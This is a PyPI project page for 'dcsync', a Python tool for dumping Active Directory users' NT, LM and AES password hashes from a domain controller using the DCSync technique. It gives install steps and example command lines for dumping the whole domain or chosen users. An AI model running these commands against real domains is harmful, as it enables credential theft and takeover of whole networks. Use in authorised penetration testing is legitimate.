Skip to main content

Dump domain secrets.

Project description

 ┓       
┏┫┏┏┓┏┏┓┏
┗┻┗┛┗┫┛┗┗
     ┛   

A python script for dumping domain users secrets using DCSync method.
PyPI GitHub release (latest by date)

Installation

You can install it from pypi (latest version is PyPI) with this command:

sudo python3 -m pip install dcsync

OR from source :

git clone https://github.com/AetherBlack/DCSync
cd DCSync
python3 -m venv .
source bin/activate
python3 -m pip install .

OR with pipx :

python3 -m pipx install git+https://github.com/AetherBlack/DCSync/

Examples

  • You want to DCSync the whole domain with Administrator privilegies :
dcsync $DOMAIN/$USER:"$PASSWORD"@$DC

  • You want to DCSync for a single principal :
dcsync -just-user Aether $DOMAIN/$USER:"$PASSWORD"@$DC

  • You want to DCSync the whole domain without Administrator privilegies using ldap method :
dcsync -method ldap $DOMAIN/$USER:"$PASSWORD"@$DC

You can use this methods :

samr (Default)
ldap
file
  • You want to DCSync only a list of specific principals :
dcsync -just-user-file ./usersfile.txt $DOMAIN/$USER:"$PASSWORD"@$DC

How it works

The tool will use the provided method to enumerate the users of the domain. Then, it will connect to the DC's RPC to dump their NT hash, LM hash, AES hash and history hash.


Credits

License

GNU General Public License v3.0

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

dcsync-0.0.1.tar.gz (28.7 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

DCSync-0.0.1-py3-none-any.whl (30.5 kB view details)

Uploaded Python 3

File details

Details for the file dcsync-0.0.1.tar.gz.

File metadata

  • Download URL: dcsync-0.0.1.tar.gz
  • Upload date:
  • Size: 28.7 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.0.1 CPython/3.12.8

File hashes

Hashes for dcsync-0.0.1.tar.gz
Algorithm Hash digest
SHA256 d4bbbcf017a2549316a6ecd486253bfd59b7faa525674ba4929f9c6d003c990d
MD5 c29cf87d9e381f55bf80a7913df53dcd
BLAKE2b-256 e5cb34b502bfff4571b43a0994073ce3ba4ce8df3d1ccc25195b6fc4dca4cb49

See more details on using hashes here.

File details

Details for the file DCSync-0.0.1-py3-none-any.whl.

File metadata

  • Download URL: DCSync-0.0.1-py3-none-any.whl
  • Upload date:
  • Size: 30.5 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.0.1 CPython/3.12.8

File hashes

Hashes for DCSync-0.0.1-py3-none-any.whl
Algorithm Hash digest
SHA256 74198a73995eea9ec7558014707a20574b0c6680fbb73f6b138479c48ae4a839
MD5 73c8952134c420c7ad1251c5354470d9
BLAKE2b-256 adcfedc00a1a7f770c7e32714625fefb47bf12e58872cae545fc7042e39bfc38

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page